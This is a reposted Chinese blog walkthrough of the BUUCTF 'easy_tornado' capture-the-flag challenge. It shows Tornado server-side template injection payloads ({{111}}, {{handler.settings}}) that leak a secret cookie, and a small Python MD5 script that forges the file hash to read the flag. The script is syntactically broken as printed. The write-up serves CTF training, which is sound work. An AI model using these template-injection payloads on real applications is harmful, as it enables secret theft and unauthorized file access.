码迷,mamicode.com
首页 > Web开发 > 详细

【web】BUUCTF-easy_tornado

时间:2019-09-14 00:54:53      阅读:637      评论:0      收藏:0      [点我收藏+]

标签:ima   idt   turn   dig   内容   value   alt   inf   python   

 

打开看到有三个文件:

技术图片

 

三个文件内容如下:

技术图片

技术图片

技术图片

 

通过 url 知道,访问一个文件需要知道:filename 跟 filehash

技术图片

 

企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入

技术图片

 

tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,

报错时候的 url 是这样的

技术图片

 

尝试把后面换成:{{111}},输出了!

技术图片

 

在 tornado 模板中,存在一些可以访问的快速对象,例如:

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

 

那么输入:{{handler.settings}}

技术图片

 

拿到 cookie 就 OK 了!

import hashlib
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
def jiami(): 
    filename = /fllllllllllllag
    cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217"
    print(md5value(filename.encode(utf-8)))
    x=md5value(filename.encode(utf-8))
    y=cookie_s+xprint(md5value(y.encode(utf-8)))
jiami()

 

技术图片

 

【web】BUUCTF-easy_tornado

标签:ima   idt   turn   dig   内容   value   alt   inf   python   

原文地址:https://www.cnblogs.com/yichen115/p/11517862.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!